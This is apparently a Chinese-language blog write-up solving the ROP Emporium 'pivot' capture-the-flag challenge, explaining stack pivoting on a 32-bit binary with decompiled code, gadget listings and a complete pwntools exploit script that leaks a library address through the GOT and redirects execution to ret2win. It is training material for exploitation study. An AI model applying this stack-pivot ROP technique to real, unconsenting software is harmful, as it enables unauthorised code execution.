pivot 栈迁移 wp

来自 ROP Emporium (https://ropemporium.com/challenge/pivot.html)的题目。

前置知识

栈迁移

当能写入的有效载荷,不足以获得 flag 的时候可以将栈跳转到更大的内存区域来放置 ROP 链。
来填写 payload 的时候,一般除了缓冲区要覆盖,我们还需要额外覆盖 4/8 字节的空间,这个空间是用来保存旧的栈基址指针(ebp/rbp),正常情况下函数最后会用 leave 助记符将 ebp 的数据写入 esp 来清理栈空间,回退到上一层函数,而来栈迁移中也同样需要 leave; ret 在新的栈空间上执行写入的 ROP 链。
栈迁移需要两样:

  1. leave; ret Gadget
    这个可以通过 ROPgadget 来获得。

  2. 足够大的可读可写且地址已知的内存区域。
    一般来说选择堆上的 buffer 或者 .bss 段空间。

分析

压缩包提供了动态链接库:

1
2
3
4
❯ zipinfo -1 pivot32.zip
pivot32
libpivot32.so
flag.txt

静态分析仅开启了 NX:

1
2
3
4
5
6
7
8
9
❯ pwn checksec --file=pivot32
[*] '/data/Hack/tmp/pivot32/pivot32'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    RUNPATH:    b'.'
    Stripped:   No

ida 分析两个二进制文件:
首先 main 文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *ptr; // [esp+Ch] [ebp-Ch]

  setvbuf(_bss_start, 0, 2, 0);
  puts("pivot by ROP Emporium");
  puts("x86\n");
  ptr = (char *)malloc(0x1000000u);
  if ( !ptr )
  {
    puts("Failed to request space for pivot stack");
    exit(1);
  }
  pwnme(ptr + 0xFFFF00);
  free(ptr);
  puts("\nExiting");
  return 0;
}

它首先在堆上开了 0x1000000 字节的缓冲区,如何将缓冲区偏移了 0xFFFF00 的地址传入 pwnme 函数。
pwnme 函数内:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int __cdecl pwnme(void *buf)
{
  _BYTE s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  puts("Call ret2win() from libpivot");
  printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", buf);
  puts("Send a ROP chain now and it will land there");
  printf("> ");
  read(0, buf, 0x100u);
  puts("Thank you!\n");
  puts("Now please send your stack smash");
  printf("> ");
  read(0, s, 0x38u);
  return puts("Thank you!");
}

局部变量 s 大小 40 字节。可以得到 main 函数中 ptr + 0xFFFF00 的地址。有两个输入数据的地方。

  1. 往 buf 写入 0x100 字节的数据
  2. 往栈上写入 0x38 字节数据。

第二个是可以构造栈溢出,但问题是太小了。没办法写入很长的 ROP 链。

执行过程大概就是这样。不过还应该仔细分析程序,看看函数列表发现 uselessFunction 里面就是调用了 foothold_function ,这个函数是 libpivot32.so 的函数,算是提供了一个线索。

而且呢,通过 objdump 输出函数 .text 段可以找到:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
objdump -dj .text -M intel ./pivot32

…………

0804882c <usefulGadgets>:
 804882c:	58                   	pop    eax
 804882d:	c3                   	ret
 804882e:	94                   	xchg   esp,eax
 804882f:	c3                   	ret
 8048830:	8b 00                	mov    eax,DWORD PTR [eax]
 8048832:	c3                   	ret
 8048833:	01 d8                	add    eax,ebx
 8048835:	c3                   	ret
 8048836:	66 90                	xchg   ax,ax
 8048838:	66 90                	xchg   ax,ax
 804883a:	66 90                	xchg   ax,ax
 804883c:	66 90                	xchg   ax,ax
 804883e:	66 90                	xchg   ax,ax

显而易见是有意为之的提供的 gadget。

看看 libpivot32.so 内:
shift+f12 找到 flag.txt 字符串, X 交叉引用到 ret2win() 内,看来最后是要将程序跳转到该函数了。
上面提到的 foothold_function 内也有线索:

1
2
3
4
int foothold_function()
{
  return puts("foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot");
}

综合以上,我最开始是想通过栈溢出配合栈迁移重新运行 pwnme 来获得 libpivot32 的基址,但是各种方法都尝试过无解。之后仔细研究后发现写入到 buf 可以在新的栈上构造 ROP 链以此运行 ret2win 函数,而写入 s 可以少量栈溢出就仅仅为了栈迁移而做。

接下来就是像拼图一样拿 gadget 凑出 ROP 链。
主要是通过 usefulGadgets 下的汇编来寻找思路。
因为 pivot32 绑定了 foothold_function ,所以在第一次调用 foothold_function@plt 的代码: 跳入 got 而此时该代码因为 PLT 不是实际地址,而是 foothold_function@plt 的第二行代码,这一步会链接然后调用实际的 foothold_function ,之后 got 表的 foothold_function 就是 foothold_function 实际的地址了。

1
2
3
4
08048520 <foothold_function@plt>:
jmp    DWORD PTR ds:0x804a024
push   0x30
jmp    80484b0 <.plt>

而因为 ret2win 函数和 foothold_function 在同一链接库中,它的地址可以由编译时就确定的相对于 foothold 的偏移量来获得,这样我们就只需要获得 foothold_function 的地址一切都好办了,而 usefulGadgets 有这样的 gadget:

1
2
mov    eax,DWORD PTR [eax]
ret

这个 gadget 将 eax 存储的地址指向的数据复制到 eax 上,有点类似二级指针。如果此时 eax 存储的是 got 上的 foothold_function,而 foothold_function 已经初始化过一遍,则我们就在 eax 上得到了 foothold_function 的实际地址。
因为没有 PIE,所以通过 pwntools 很容易就能获得 got 表的数据,只需要一个 pop eax 的 gadget 就能写入到 eax 中。
而且 usefulGadgets 又有 add eax, ebx 可以做 : eax = eax + ebx 的操作,那么只需要把偏移量写入 ebx 中最终在 eax 中就是 ret2win 的地址,最后的最后如果有个 call eax 就完美了。这个在 usefulGadgets 没有,但是用 ROPgadget 就可以获得。

1
2
3
/data/Hack/tmp/pivot32
❯ ROPgadget --binary ./pivot32 --only 'call' | grep 'eax'
0x080485f0 : call eax

这样就可以写 exp 了。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

context.log_level = "debug"
context.gdb_binary = "/usr/lib/pwndbg-gdb/bin/pwndbg"

io = process("./pivot32")
pivot_ELF = ELF("./pivot32")
lib_Pivot_ELF = ELF("./libpivot32.so")

foothold_function_plt = pivot_ELF.plt["foothold_function"]
foothold_function_got = pivot_ELF.got["foothold_function"]

pwnme_addr = 0x8048750
leave_ret_Addr = 0x080485F5

pop_eax_ret_Addr = 0x804882C
xchg_espeax_ret_Addr = 0x804882E
mov_eax_eaxP_ret_Addr = 0x8048830

# 神秘的 0x8048831 使我的大脑旋转
add_eax_ebx_Addr = 0x8048833
call_eax_Addr = 0x080485F0
pop_ebx_ret_Addr = 0x080484A9

offset = lib_Pivot_ELF.symbols["ret2win"] - lib_Pivot_ELF.symbols["foothold_function"] 

io.recvuntil(b"pivot: 0x")
# 这里的 buf 地址实际是 buf + 0xffff00
buf_addr = int(io.recv(8), 16)

io.recvuntil(b"> ")
payload_buf = (
    p32(1)
    + p32(foothold_function_plt)

    + p32(pop_eax_ret_Addr)
    + p32(foothold_function_got)

    + p32(mov_eax_eaxP_ret_Addr)

    + p32(pop_ebx_ret_Addr)
    + p32(offset)

    + p32(add_eax_ebx_Addr)

    + p32(call_eax_Addr)
)

io.sendline(payload_buf)

payload_esp = b"a" * 0x28 + p32(buf_addr) + p32(leave_ret_Addr)
io.recvuntil(b"> ")
#gdb.attach(io)
io.send(payload_esp)

io.interactive()

通过 ROPgadget 和 objdump 可以把需要的 gadget 找出,我们在栈上大抵是需要如下的 ROP 链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
fake ebp
foothold_function@plt
pop eax
foothold_function@got
mov eax, DWORD
mov eax,DWORD PTR [eax]
pop ebx
offset
add eax ebx
call eax

这里的 fake ebp 就是最开始的 p32(1) ,无所谓的 4 字节。主要是为了消耗 leave 助记符的 pop ebp。在 pop ebp 后, esp 以为到 fake ebp + 0x4 的位置开始执行下一行指令也就是 foothold_function@plt 。

小插曲

gadget 一定要找对地址,如果找错了就会有各种奇怪的问题。只能通过 gdb 单步执行来找出问题,这个过程很难绷……

萌ICP备20241614号